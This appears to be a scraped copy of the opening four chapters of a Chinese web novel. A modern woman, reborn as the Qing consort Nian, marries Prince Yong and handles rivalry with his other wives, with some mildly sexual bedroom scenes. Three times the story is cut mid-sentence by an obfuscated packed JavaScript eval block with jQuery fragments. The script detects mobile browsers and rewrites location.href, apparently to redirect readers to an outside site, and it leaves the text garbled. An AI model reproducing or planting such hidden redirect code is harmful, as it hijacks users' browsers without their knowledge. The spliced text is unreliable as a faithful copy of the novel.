《清穿之年贵妃她躺赢了》
1. 第 1 章
外面一阵锣鼓喧天,是迎亲嫁娶的声音。
可真热闹啊,年芷瑶微微扬起唇角,可惜她不能亲眼看看。
身边穿着喜服的婆子贴心地说:“侧福晋,您慢些,小心脚下。”
年芷瑶微微点头,行止间连头上珠冠都没有丝毫摇晃,嬷嬷见了不由叹道,这年家女儿的规矩是真好,怪不得能得万岁赐婚给雍亲王做侧福晋呢。
只是新人进府对年家是好事,对府里的女人可就是坏事了,听说雍亲王府得宠的女人不多,只一个李侧福晋早年间算是得王爷喜欢,如今也沉寂了许多,这位万岁新赐的年侧福晋一进府,只怕王府里又是一阵动荡呢。
不过这都和她这个喜嬷嬷没什么关系,只要今天都顺顺利利的,她的差事就算是办好了,估计能得不少赏钱呢。
走到大门,年芷瑶感到身边扶着她的人变了,她不自觉地攥紧了手,感觉到手底下骨骼宽大、明显是属于男人的手,年芷瑶微微抿唇,这应该就是四爷了吧。
四爷牵着她的手进门,只觉得自己新娶的侧福晋小小软软的,和自己完全不一样。
两人双手交缠,年芷瑶只觉气氛越发紧张起来。
四爷感受到她的情绪,伸手拍了拍她的手背,“别怕。”
年芷瑶定了定神,配合着四爷行完仪式后,她被人领着送回了房间。
她安静地坐在床边,听着喜嬷嬷说着一连串的吉祥话,微微出了神。
满人对侧福晋多重视,虽比福晋成婚的规格要降一等,但其余的都差不多,尤其她是圣上赐婚,娘家又得力,内务府定会操办得极为热闹,可即便如此,她也没想过四爷能在府外亲自迎她。
想到他刚才的体贴,想来这位四爷对她,应该是有几分重视的吧,不管这份重视是为了她的哥哥还是为了她,她都要好好把握住。
喜嬷嬷看出侧福晋的心不在焉,但也不敢怠慢,身旁伺候的丫鬟也都妥帖小心,生怕惹了这位新进府的侧福晋。
这位年侧福晋得圣上赐婚,父兄得力,算得上一个好主子,做奴才的谁不想伺候个好主子,好不容易来了前途明亮的新主子,自然是人人争抢。
她们好不容易进了侧福晋的院子,自然不能让人拿了错处。
不知过了多久,年芷瑶感到周遭忽地静了下来,而后便传来行礼问安的声音,她暗暗晃神,应该是四爷回来了。
喜嬷嬷乐呵呵递上玉如意:“王爷,请。”
盖头被掀开,年芷瑶稍微适应了一下光亮,便抬头望去,只见她身边站着一个穿着喜服的男子,眉眼冷清,身上带着非同寻常的矜贵,想必就是大名鼎鼎的四爷了。
年芷瑶看着四爷俊美的长相微微舒了一口气,虽说她已经做好准备,但四爷有一副好相貌总归是一件好事。
周围见新娘子露面,也颇为好奇地看了过去,不看不要紧,一看则是满屋寂静,新娘子杏面桃腮,蛾眉轻扫,一双眸子柔情似水,好似会说话一般,望向谁就谁的心就漏掉了一拍,让人不禁赞叹,怎的会有人长得这般好看。
不知是谁倒吸了一口气,屋里才有了声响。
喜嬷嬷定了定神,率先开口道:“侧福晋真是好样貌,奴才看了这么多新娘子,像侧福晋这样如同神仙妃子般的可不多见。”
这位嬷嬷自认没有夸大其词,要不是怕得罪人,她都想说满蒙八旗无一人能比得上了,刚才连王爷都怔愣了片刻,可见对侧福晋的喜欢。
身旁的妇人也都回过神来,止不住地交口称赞。
年芷瑶微微低头做害羞状,这具身体的容貌她还是了解的,本来就生得一副好模样,这些年又有灵泉水的滋养,更是添了几分出尘的气质,连额娘见她,都忍不住感叹自己生了个好女儿。
只是家中一直有将她送到四爷府里的打算,故而没有随额娘走亲访友,名声不显罢了。
四爷也不禁缓了语气:“爷先去前院,一会过来。”
年芷瑶微微点头,不是她不想说话,而是刚嫁人的妇人实在不能多开口,免得让人觉得不懂规矩,她不禁微微叹气,穿越到什么朝代不好,怎么偏偏是清朝这种对女子束缚的时代。
只是来都来了,也只能好好地过好这日子了。
等屋子里看热闹的人都散去了,她才放松下来,看着身边的两个丫鬟,白芷和白芍,都是年府自幼陪着她的,自然是十分忠心,还有她的奶娘松嬷嬷也跟了过来,正在库房整理她的嫁妆箱子。
“主子,您可饿了。”问话的是白芷,稳重贴心,是她最信重的丫鬟。
她微微点头,然后看向站着门口的两个没见过的丫鬟,想必是雍王府上派来伺候的。
两人注意到她的疑惑,向她行礼道:“奴婢采芙,奴婢采蕖,是内务府派来伺候侧福晋的。”
采芙福身道:“王爷刚才嘱咐奴婢,若是侧福晋饿了,就去大厨房叫些膳过来。”
年芷瑶道:“这么晚了,我也吃不下什么,要些点心来就行了。”
“是。”采芙和采蕖很有眼色地一起退下了,想必是想留给她和贴身丫鬟独处的时间。
年芷瑶感叹,不愧是内务府出身啊,这眼力见儿真不是一般人能比的。
屋子里没了外人,白芷也放松了许多,她凑趣道:“王爷对主子可真好。”
年芷瑶微微一笑,虽然只是小事,但有这心总比没有好,如今也算是开了个好头吧。
“先给我换身衣服吧。”这身行头好看是好看,但实在太重,避免在没进入正题前先被累弯了腰,她决定先给自己换套装备。
坐在梳妆台前,年芷瑶看着镜中自己的好气色,感受着身体里的灵泉,总算是有了些许底气。
没办法,真正的年家女儿身体太差,没长到三岁就因为风寒去世了,而她在现代时因加班过度劳累猝死在了公司,再一睁眼就成了清朝的年芷瑶。
若不是有灵泉傍身,即使是她穿越过来,这具身体想必也活不到成年吧。
她在现代时亲缘浅薄,没想到穿越过来却有了疼爱她的阿玛额娘,和两个宠爱妹妹的兄长,年芷瑶很快便接受了穿越的现实,从此成了年家千娇百宠的大小姐。
唯一不顺心的是没过几日她便发现了她阿玛是湖广巡抚年遐龄,大哥叫年希尧,二哥叫年羹尧!
不出意外的话,她就是日后因体弱而早逝的敦肃皇贵妃。
年芷瑶为此沉寂了三天,但还是振作了起来,失去一次生命的她更能体会到生命的可贵,为了日后不进后宫而要死要活的事她做不来。
既然吃了年家的饭,她也干不出来摔碗骂娘的事,事到如今,只能求得一个双赢了。
等她换完衣服,用过了点心,又在床边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135711|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐一会,四爷才从前院回来,可见前院的热闹。
他一进门,四个小丫鬟便忙了起来,宽衣洗漱,梳头擦脸,都有人伺候,年芷瑶见了不由感叹统治阶级的快乐。
等到屋子里只剩她和四爷两个人时,年芷瑶一贯的淡定也支撑不住了。
她轻轻开口:“爷。”
“可用过膳了。”四爷的语气既不热情也不冷淡,仿佛刚才闪过的惊艳和他没有关系一样。
年芷瑶低头回话:“用过了,多谢爷。”
四爷微微点头,他和这位侧福晋也不熟,自然没什么话可说,要说熟,他还是和她哥哥更熟一些,年羹尧确实是个难得的能臣,不然,他也不会费尽心思娶她进门。
不过,既然娶了年氏,他自然也不会亏待她,年氏又如此的年幼,这事,到底是他得了便宜。
四爷缓了缓口气:“院子里若是有什么不合适的,就和爷说。”
年芷瑶抬眼看他,这是愿意为她撑腰的意思吗,这位四爷,好像并不是很难相处呢。
她静了静心,开口关心道:“爷在外院喝了酒,胃可难受,要不让膳房送些汤羹过来。”
四爷有些讶异她的关心,语气柔和了不少:“不必了,爷在前院喝过醒酒汤了。”
他看向年芷瑶娇美的面容,形容微顿,刚才他就发觉年氏长得十分的好,如今细瞧,更是让人心折,四爷伸手望向她:“时间不早了,先歇息吧。”
年芷瑶脸色微红地靠在了他身上,暗自祈祷这位的技术好些,也让她少受些罪。
可等到她承受不住地在求饶时,她不禁感到后悔,这人怎么不光技术好,体力也这么好,不应该啊,她明明更年轻才是。
四爷看她身上一点点染上绯红,更映得她的皮肤雪白,忍不住逗了逗她,“可是累了,可你都没用力。”
年芷瑶瞪他,这是什么话,没用力就不累了吗。
四爷忍不住地大笑起来,摸了摸她嫩红的小脸,哄了哄道:“就快了,再忍一忍。”
年芷瑶撇过脸去,这人凑这么近做什么,不会想用容貌勾引她吧。
四爷亲了亲她的耳垂,加快了进程,小姑娘还小呢,今天就先不折腾她了。
苏培盛在站门外,听着屋里四爷的笑声,挥了挥手让人往后站了站,心中盘算着日后对这位侧福晋的态度。
这位侧福晋一进府,府里的局势可又有了变化啊,不过也是,这样娇嫩的美人谁会不喜欢呢,他要是爷他也喜欢。
两人一番欢好,彼此的气氛也熟悉了一些,四爷摸了摸她柔软的发,“累了就睡吧。”
年芷瑶把头埋在他的怀里,她这辈子是年府中的大小姐,本以为等好好长大,日后阿玛额娘自会为她寻一个门当户对的青年才俊,吃喝不愁地过完一生也就罢了。
谁知命运二字由不得她,如今即进了这雍王府,那日后的富贵荣辱自然全都寄托在这个男人身上,虽说历史上的年氏就极为得宠,可她却不准备坐以待毙,等待那‘命中注定’的宠爱。
她薄唇微启:“爷。”
四爷:“嗯?”
年芷瑶抬头亲了亲他的脸颊,然后低头,“我先睡了。”
四爷看着怀里正在害羞的人笑了笑,不禁对她更是怜爱,虽然娶她是为了拉拢年家,可年家的这个女儿却意外地合他心意。
2. 第 2 章
第二天清晨,年芷瑶从睡梦中醒来,迷迷糊糊地感受到有一个陌生的东西躺在她身边,她皱了皱眉,一点点描绘着手底下的形状。
四爷抓住了她乱动的手:“醒了。”
年芷瑶猛然惊醒,是了,她昨夜已经进了雍王府,如今身边躺着的不是别人,正是四爷。
只是,她下意识地捏了捏男人手感颇好的腹肌,心中惊叹,没想到四爷的身材管理意识还挺强的。
四爷感受着身上的小手作乱,手腕不自觉地用力。
年芷瑶连忙回神,慌张地抽回手来,恶人先告状道:“爷,你怎么不穿衣服呀。”
四爷挑了挑眉,抬手摸向了她的小脸:“嗯?爷昨夜有时间穿吗。”
想到了昨夜的荒唐,年芷瑶的脸色绯红,看了看四爷的神情,为了避免接下来会发生什么不可描述的事情,她决定尽快将这茬糊弄过去,于是转移话题道:“爷,您早膳想用什么,我叫人去传。”
四爷饶有兴致地笑了笑,“不急。”
年芷瑶心里一慌,她冲着撒娇的四爷道:“爷,时辰不早了,我还要给福晋请安呢。”
虽然早上运动有益身心健康,但今日是她进府的第一天,着实不想因为迟到引来太多关注,于情于理都要去拜见福晋。
还好四爷不是那等不通人情的男人,相反,自小在宫里长大的他对于女子之间的小心思清楚得很,也没有难为她的意思。
只是上下看了她一眼,一副晚上再和她算账的模样。
年芷瑶微微撇嘴,晚上算账就晚上算账,她还怕他不成。
她起身叫了白芷进来,两人睡了一觉,感觉四爷待她明显没有昨日那般的疏离,说男人都是下半身动物,果然是不假。
就是实在是有些累,不是说男人过了二十五就不行了,四爷都三十有五了,怎么还这么行。
想到去年宫里刚刚出生的二十二阿哥,年芷瑶有些明白了,这种事情不会也是遗传吧。
“主子,今日穿这件如何。”白芷拿出了一件玉色锻花绣蝶纹旗装给她看。
年芷瑶点了点头,合规矩也不张扬,“可以。”
一旁的白芍凑趣道:“主子天生丽质,自然是穿什么都好看。”
采芙和采蕖也在一旁伺候,内务府分来的到底不如自小贴身的丫鬟亲近,等侧福晋和白芷,白芍说完话,采芙才开口问道:“主子想梳什么发髻。”
昨夜年芷瑶就问过,采芙有梳头的手艺,采蕖刺绣的手艺好,就让她们各自负责梳头和针线的活计。
如今松嬷嬷替她管着整个院子,白芷管着库房,白芍管着茶水房,大家各司其职,才方便管理,左右是不是真的忠心,用不了两三日,便能瞧得出来。
正院
虽才是寅时,但四下的丫鬟早已忙碌了起来。
福晋这些年起得越发早了,连带着她们这些伺候的都不能懒睡,当年住在宫里时,阿哥们要寅时就要起床读书,福晋跟着早起那是没办法的事,只是后来出宫了,福晋还是一贯习惯早起,不论主子爷在哪歇息都是这般。
刚过卯时,小丫鬟小跑着过来禀告:“嬷嬷。”
嬷嬷嘘了一声:“轻声点,福晋正在佛堂呢。”
自从弘辉阿哥去了之后,她们福晋就日夜都在小佛堂念经,尤其是晨起这段时间,最是虔诚不过,除了主子爷,是谁都不能打扰福晋的。
想到弘辉阿哥,赵嬷嬷不禁在心里叹息,大阿哥当时已长到八岁,却无故早夭,大阿哥没的时候,福晋都跟着丢了半条命。
她们大阿哥温柔敦厚,又是主子爷的嫡长子,若是康健,日后定是板上钉钉的王府世子,哪像现在,竟惹得旁人觊觎。
丫鬟立刻噤声,她小声道:“嬷嬷,李侧福晋已经到了。”
赵嬷嬷点了点头:“先带侧福晋去偏厅吧。”
她倒是不奇怪李侧福晋怎么来得这么早,府里新来了个侧福晋,这位眼下着急下也是应该的,更何况,还有那事在呢。
小丫鬟福身道:“是。”
李侧福晋在偏厅等了半晌,一旁的茶水凉了又热,热了又凉,终于等到外面传来了动静,她抬头望去,原来是宋氏过来了。
宋氏望着已经到了的李氏,微微抬眸,然后行礼道:“给侧福晋请安。”
李氏点了点头:“嗯。”她虽心情不好,但也不为难宋氏,宋氏是伺候爷伺候的最早的一个,早年也生了两个格格,但都早夭,之后爷没怎么去过她那,算是府里的透明人,不过为着两个格格,福晋那也没短了她的倒是。
她扯了扯嘴角,她们这位福晋可真是如菩萨一般,从不落口舌于人前,就不知会对新来的年侧福晋如何了。
等年芷瑶到的时候,屋子里已经坐满了人,见她一来,便都将视线移到了她身上,她微微一笑,这是三堂会审吗。
她上前两步给端坐在上首的福晋行了礼:“妾身给福晋请安。”
乌拉那拉氏倒是平和:“起来吧,你如今即进了府,大家就是一家子姐妹,日后好生照料王爷,早日为王爷开枝散叶才是。”
年芷瑶低头:“是,谨遵福晋教诲。”她依次见过在座的其他‘姐妹’,便坐到了右手边的上座。
说实话四爷的女人不算太多,等见过了礼,她就能大致分清谁是谁了,毕竟身为雍正爷的妻妾,大家在后世可都算是颇为有名。
坐在她对面便是李侧福晋,有一子一女,女儿册封为郡主,去年刚刚嫁于京中,阿哥就是三阿哥了。
李氏再往下是格格宋氏,格格钮祜禄氏,她这边坐着的是格格耿氏和格格武氏。
说起来武氏还比钮祜禄氏和耿氏早两年入府,可如今钮祜禄氏和耿氏各有一个阿哥,无子无宠的武氏便只能最后,可见在府里,宠爱何其重要。
李氏嘴里泛酸:“昨日就听闻妹妹美若天仙,今日一见,果然是难得的美人,我们爷真是有福气了。”
她看向福晋,“咱们府里有了妹妹这样的美人,姐姐也不用担心爷没有可心的人了。”
年芷瑶看着李氏眼中暗含的不满,倒是明白她为何第一天就这般耐不住性子,请安路上的时候,采芙告诉过她,如今她住的东院,正是李氏一直想搬过去的院子。
雍王府够大,四爷的妻妾也不多,大家自然不用和别人挤在一处,大家都是各住各的,只是院子和院子之间也有不同。
除了福晋的正院,府里还有一东一西两个大院,自古东比西贵,东院的景色也更好些,自然是人人想去,可李氏先被封侧福晋,却只住了西院,听说这几年时不时地向四爷提起想要搬院子,四爷都没同意。
若是一直没人住也就算了,只是她一来,就占了府里的东院,李氏自然不愿意。
年芷瑶看向李氏,扯起嘴角:“李姐姐客气了,听闻弘时阿哥天资聪颖,前些日子还被四爷夸赞功课,论起得爷四爷看重,谁能比得过李姐姐呢。”
雍王府里的孩子不多,阿哥只有三个,钮祜禄氏和耿氏的儿子刚刚两岁,还未开蒙,唯一正在读书的便是李氏所出的三阿哥弘时了。
其实弘时阿哥也不是四爷的第一个儿子,但却是活下来的孩子里最大的一个,也就成了长子,李氏对他寄予厚望,只是弘时阿哥不是个读书的料,四爷前些日子在前院考校弘时的功课,然后大发雷霆,怒斥这个儿子不用功,消息传遍了整个王府,这个消息是采蕖告诉她的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135712|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李氏的脸色一黑,这个年氏。
年芷瑶也不怕她,李氏暗指她以色侍人,她说李氏的儿子愚笨,也算是礼尚往来,大家都是侧福晋,难道她怕她不成。
倒是坐在上首的福晋一直默不作声,想必是看她们两个侧福晋不合,应该会更放心一些吧。
正院,福晋净了手,准备在小佛堂抄经。
“年氏可回去了。”
“是。”赵嬷嬷答道,她面露犹豫。
福晋看了出来:“可还有事。”
赵嬷嬷想了想:“今日李侧福晋来得早,想来对年侧福晋的心思不少。”
福晋冷笑一声,“她自然该担心,不过日后有的是她担心的时候。”今日一见到年氏时她就知道,爷定会喜欢那年氏的,府里日后还指不定如何呢。
赵嬷嬷默不作声,福晋与李侧福晋不和也不是一年两年了,早年间,王爷对李氏多少有些宠爱,府里就她生孩子生得最多,福晋都一一看在眼里,后来弘辉阿哥没了,可李侧福晋的弘时阿哥还在,三阿哥一日日地长大,福晋心里就越发不是滋味。
府中的其他人也就罢了,唯有李侧福晋是福晋的心中的刺,时不时就隐隐作痛。
从正院回来,年芷瑶才有时间打量起自己要住上许多年的屋子。
这是三进的大院子,许是雍亲王府在扩建的时候外头人就想着这院子是未来侧福晋住的,故而修建得很是宽敞漂亮,怪不得惹人争抢呢。
院子里种了两棵杏树,如今正是初春时节,整个院子都飘落着杏花花瓣,美得如梦如幻。
四爷一进院子,就看见自己的侧福晋正站在院子中间,杏花飘落着她的发间,不由得让人心中一叹,原来花瓣也会为美人停留。
他缓步走过去:“发什么呆呢。”
年芷瑶:“我在想要不要在院子里栽种些葡萄,等到了夏日,也有葡萄吃了。”
四爷看她一脸贪吃的模样,不由失笑,“好,爷让人挑上几株上好的葡萄秧子来,替你种上。”
年芷瑶眼中亮晶晶地看着他,“你真好,爷。”
四爷如今三十许人,虽已算不上风华正茂,可岁月在他身上却没留下什么痕迹,反倒是越发贵气逼人,气质也不像后世说的那般严肃,而是有一种超脱之感。
年芷瑶转念一想,也是,如今是康熙五十二年,太子已二次被废,直郡王被圈,八爷因众人推举为太子而遭康熙怒斥。
年迈龙王逐步展露出自己的多疑又暴怒,四爷自然在这时不会直触康熙的龙威,展示对帝位有觊觎之心,气氛越是焦灼,他行事越是谨慎。
事实上,这个时间段的四爷一直以清静无为示人,在康熙帝表现诚孝,酷爱礼佛,对朝堂发生的一切都不关心,只时不时地派人去看看他赋闲在家的十三弟,以示作为兄长的关爱。
连娶她也是因为府里子嗣不丰,后院女子稀少才让圣上的下旨,明面上她进雍亲王府和四爷,和年家都毫无关系。
四爷牵过她的手走到了屋子里,“可去过福晋那了。”
年芷瑶乖巧点头:“已经去过了,福晋和善,嘱咐了我许多。”
四爷微微点头:“福晋不是个难相处的性子,若是有什么事不懂找她便是。”他想了想:“找爷也行。”
年芷瑶惯会顺杆子往上爬,“好,若是有事我就去找爷,爷可不许嫌我烦。”她丝毫不提去找福晋的事,他把她娶回来了,不管怎么行。
四爷也不戳穿她,只笑着点了点头。
小侧福晋比他小上这么多,多宠上些也无妨。
年芷瑶挽着他的手臂进了屋子,“爷,可要用午膳。
四爷点头:“传吧。”
3. 第 3 章
这是四爷第一次在她屋子里用膳,院子里虽然建了小厨房,但年芷瑶还是让白芷去大厨房叫的膳,她只格外添了几道时令的蔬菜。
白芷点了点头:“是。”
不知是不是四爷也在这用的原因,午膳摆了满满一桌子,有十六道热菜,六道凉菜,还有四道羹汤,年芷瑶抬头微微看了四爷一眼,看着旁边桌子上还有没摆上来的菜,着实有些不大习惯。
年家虽然也富庶,可她平时一般都是自己在房间里吃饭,只随便要四个热菜便好,这样的席面,她只有在年节时才会见到。
额娘之前还夸她简朴,可顿顿四个热菜诶,还有凉菜点心,对于在现代上班时只能吃预制菜的她来说已经是神仙日子了好不好。
四爷对其他菜的兴致不高,倒觉得几道清炒蔬菜不错,连下了几筷子。
苏培盛见了暗暗心惊,他伺候主子爷这么多年,竟然不知道爷喜欢吃青菜,真是他的失职。
年芷瑶也喜欢这几道菜,这个季节就应该吃绿油油的小蔬菜,大火爆炒后别提多鲜嫩了,而且这王府里的大厨,怎么说呢,更有风味一些。
她吃得开心,也没注意到一旁的四爷在看她,还是白芷暗暗戳了她一下,她才回过神了,对了,身边还有个四爷呢。
年芷瑶冲他微微一笑:“爷,可要尝尝这鱼丸汤,我在家时最爱喝这汤了。”
苏培盛看了四爷一眼,然后很有眼色地上来替他家主子爷盛了汤。
果不其然就听到四爷说了句:“不错。”
苏培盛暗暗低头,看样子日后他对这位侧福晋还应该更客气一些。
年芷瑶笑了笑,两人用过午膳,四爷也没先走,而是在她屋子里转了转。
四爷随手拿起一本游记看了看,“喜欢看这种书。”
她去给福晋请安时,白芷和白芍就按照她的喜好把屋子里布置好了,都是她用惯的东西,她在家看了一半的话本子也被摆了出来,中间的书签还是她画的呢。
年芷瑶轻轻点头,“我不喜欢看太过枯燥的书,更喜欢志怪故事。”
四爷笑了笑,真是一股孩子气,“等日爷让人给你送来些。”
年芷瑶笑道:“多谢爷。”
四爷在这一待就是一下午,消息一传出去,可谓是惊呆了后院众人,要知道四爷如今虽没有什么实务,但也不是个会在后院消磨时间的人,白日里多是在书房理事,就算是去福晋的院子里说正事也不会待太久。
西院的李氏听了消息后,不由得捏紧的手帕,“那个该死的狐媚子。”
李氏身边的琥珀劝道:“主子莫急,爷对那边不过是一时新鲜罢了,等过些日子就好了。”
可李氏并不觉得,她跟了爷这么多年,多少对四爷也是有些了解,年氏那样的女子,貌美灵动,又有那样好的家世,爷怎么会不喜欢,想到只是个通判的阿玛,还是四爷为他寻求的,李氏不免神色暗淡。
她问道:“弘时呢。”
琥珀小声道:“三阿哥在读书呢。”
李氏皱眉:“读书,也不知道读的是哪门子的书,上次爷为什么训他,不就是因为他偷偷看那些闲书吗,都说了如今他是长子,更要努力为他阿玛分忧才是。”
琥珀不敢答话,只是她觉得主子爷未必是为了三阿哥看闲书而生气,更多的是因为三阿哥耽误了功课才是。
东院
四爷和年芷瑶都在书房练字。
他看了一眼,赞了句:“字倒是不错。”都说字如其人,小姑娘笔触遒劲,意境深远,倒是不像看起来这么柔弱。
年芷瑶莞尔一笑,更显得骄傲:“爷过誉了。”
四爷看她丝毫不谦虚的样子,忍不住摇头笑了笑。
为何一直留在东院,四爷其实没想太多,只觉得自己在年氏这格外放松,也就没有走。
皇阿玛如今年迈,对他们几个兄弟越发苛责,前几年他在户部还有个差事,如今倒是光领个闲职,自己身为皇子却什么都不能干,无用于江山社稷,故而每次去朝堂站桩时他都越发不耐。
只是越在这个时候越应该冷静,四爷在心中暗自告诫自己,如今做皇阿玛的好儿子比什么都强。
晚间,年芷瑶和他靠在一起,四爷有一下没一下地摸着怀里人的发,年芷瑶被他弄得有些发痒,一把握住他骨骼分明的手掌,四爷低下头:“怎么了。”
年芷瑶眼睛发亮地看着他:“爷,时辰不早了,先歇息吧。”
四爷眼底泛起笑意,“好,那歇息吧。”
四爷自认不是柳下惠再世,不能在美人期望下坐怀不乱,他一把将年芷瑶抱起,放到了床上,吻住了她的唇。
年芷瑶舒服地闭起了眼,这样主动会不会显得不太好啊,可是她真的好喜欢这项运动啊,浅浅放纵几天应该不要紧的吧。
虽然在现代时她也交过男朋友,但感觉都不如四爷好,她抿了抿唇,有些食髓知味。
白芷在门口听见了动静,忙红着脸让人往后退了退,还是她家姑娘有办法,一进府就把四爷笼络了过去。
第二天一早,年芷瑶睁开眼,只觉得腰都不是自己的了,她这才察觉到,原来四爷在第一夜时已经是颇为体贴了,可是昨天未免也太过分了,她似乎忘了,昨夜是她先勾引的别人。
白芷听见动静,掀开床帘:“主子,您醒了。”
年芷瑶在白芷的服侍下起了身,“爷呢。”
白芷笑道:“主子爷先去了前院,临走前特意嘱咐让主子好好歇歇,不必吵醒主子呢。”
想到四爷的体贴,白芷忍不住为主子感到开心。
年芷瑶扶了扶发酸的腰,心里唯一的念头就是,还好不用天天去福晋那请安。
说起不用请安这回事,她觉得最需要感谢的就是康熙爷了,康熙爷的三位皇后早逝后,他没再立继后,宫中的娘娘都没有请安的习惯,后来太子妃进宫,自然也不会越过妃母们来摆正室的威风,也就免了太子妾室请安。
太子妃都没让妾室们日日请安,其他的妯娌福晋们自然不会有比太子妃更大的脸面了,每个府里的请安规矩都不一样,有五日一请的,有十日一请的,雍亲王府的请安日子便是每月的初一,十五。
她心中庆幸,不用天天早起真的是太好了。
年芷瑶看向红着脸的白芷,“替我梳妆吧。”
今日虽没什么事,但也不能就这么散着头发,不然让人看见了又该说三道四了。
白芷了解主子的脾气,便道:“那奴婢为主子梳个简单的发髻。”
年芷瑶微微点头。
“奴婢没叫大厨房的膳,已经让小厨房送早膳过来了。”
说是早膳,其实时辰已快到正午了,年芷瑶笑了笑,白芷细心,没从大厨房叫早膳,想必是怕外人看了多嘴吧。
她拍了拍白芷的手,“好。”
白芷露出笑意。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135713|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>用过膳,福晋那边就来了人,来的是府里针线房的嬷嬷,说是福晋吩咐,如今正值春天,侧福晋春季的衣服怕是来不及,就让她们早些她量身,多做些夏季的旗装。
年芷瑶看向跟在福晋身边伺候的赵嬷嬷,笑得客气:“多谢福晋关怀。”
赵嬷嬷对她微微一福,“福晋说,侧福晋若是有什么短的缺的,尽管开口便是。”
年芷瑶笑着点头,让白芷给了针线嬷嬷赏钱,又派人送了赵嬷嬷一番。
等人走后,她看向一旁的松嬷嬷:“嬷嬷怎么看。”松嬷嬷是她的奶娘,自小就在年府里照顾着她,两人十分亲近。
松嬷嬷笑道:“姑娘不必理会,日久见人心,福晋是真热心还是假好意,时间久了,就知道了。”
“您才刚进府,不必急于一时,要紧的是在府里站稳脚跟。”她关切地望着自家姑娘,她伺候姑娘长大,本以为日后姑娘会做个官宦人家的正头娘子,与夫君和和美美地度过一生,谁承想如今姑娘却成了雍王府的侧福晋。
不是说王府不好,只是与皇权沾边的哪有不提心吊胆的,不说别的,前几年的直郡王府那是多么的风光,送礼的都快把王府的门槛踏破了,可谓是门庭若市,可皇上几句话就把直郡王给圈了,如今京中谁还再敢提直郡王的名头。
虽明白府里的打算,可松嬷嬷仍旧有些担心。
年芷瑶知道嬷嬷的意思,她安抚笑道:“嬷嬷放心,我心里有数。”
前院书房
苏培盛看着四爷的脸色微微低下了头。
“福晋派过去的?”
苏培盛答话:“是呢,福晋赏了年侧福晋好几匹布料,针线房的嬷嬷都去侧福晋院子里量身了。”
“看来爷的这位福晋倒是体贴得紧。”四爷扯了扯嘴角,只是眼中的笑意却淡。
苏培盛垂下头去,一言不发,他是伺候主子爷的人,后院主子们再怎么斗和他都没什么关系。
四爷道:“把库房打开,挑几匹好料子给年氏送过去,就选江南进贡的那几匹。”他看小姑娘比较喜欢亮色,她年纪小,打扮起来也好看。
苏培盛有些惊讶,那几匹料子可是前些日子宫里才赏下来的,一共也没多少,四爷收下后并没说要赏谁,就收到库房里了,如今竟然要给年侧福晋。
他将头垂得更低,“是。”
这府里是要变天了啊。
白芷步伐轻快地跑了过来:“主子。”
年芷瑶抬头:“怎么了。”
白芷道:“主子爷派人送了东西过来,您快出去看看吧。”
年芷瑶挑了挑眉,起身出了门,就看到苏培盛带着一群小太监笑意盈盈地站在那,他飞快行礼:“给侧福晋请安,主子爷让奴才给侧福晋送些东西过来。”
苏培盛掀开外头的罩子:“这都是今年新进贡的布料,咱们王府一共就得了这几匹,主子爷说您穿着定会好看,就都送了过来。”
年芷瑶微微一顿,怪不得听说好料子千金难求呢,这些布料可真好看啊,如今日头高,阳光照在衣料上,使之光彩摇动,让人移不开视线。
连见惯了好东西的松嬷嬷都忍不住吸了口气。
年芷瑶冲苏培盛笑道:“辛苦你了,劳烦给爷说,我很喜欢。”
“奴才一定将话带到。”苏培盛心头微凛,他的天爷啊,他们侧福晋一笑,当真是美得如同天上的仙子一般,怪不得让爷如此割舍不下呢。
4. 第 4 章
正院
牡丹掀开帘子,轻声喊了句:“福晋。”
福晋抬头:“怎么了。”
牡丹道:“四爷今日赏了年侧福晋一些衣料,奴婢瞧着像是前些日子宫里赏的那些。”
她是福晋身边的大丫鬟,虽说是大丫鬟,但却不是最早跟着福晋进府的,听闻福晋最早的丫鬟叫芍药,很的福晋信重,已经出府嫁人了,后来,她得福晋提拔,成了大丫鬟,可到底不是跟着福晋从家里出来的,论起亲近,就差了赵嬷嬷一层。
福晋形容微顿,赵嬷嬷冲她使了个眼色。
牡丹福了福身,便下去了。
福晋望着眼前的热茶,只觉得满腔心思都哑了火,爷还是和从前一样,喜欢替人操心,或者说愿意替喜欢的人操心。
赵嬷嬷看了看福晋的神色,小心地问了句,“福晋,可还要让人看着那边。”
福晋挥了挥手,“罢了,是我太着急了。”年氏才将将进府,她此时出手也过引人注目了,更何况如今年氏有四爷捧着,不怕李氏不着急。
赵嬷嬷知道福晋的心思,安慰道:“是呢,还有钮祜禄氏呢,她生了个阿哥,奴婢不信她一点心思都没有。”
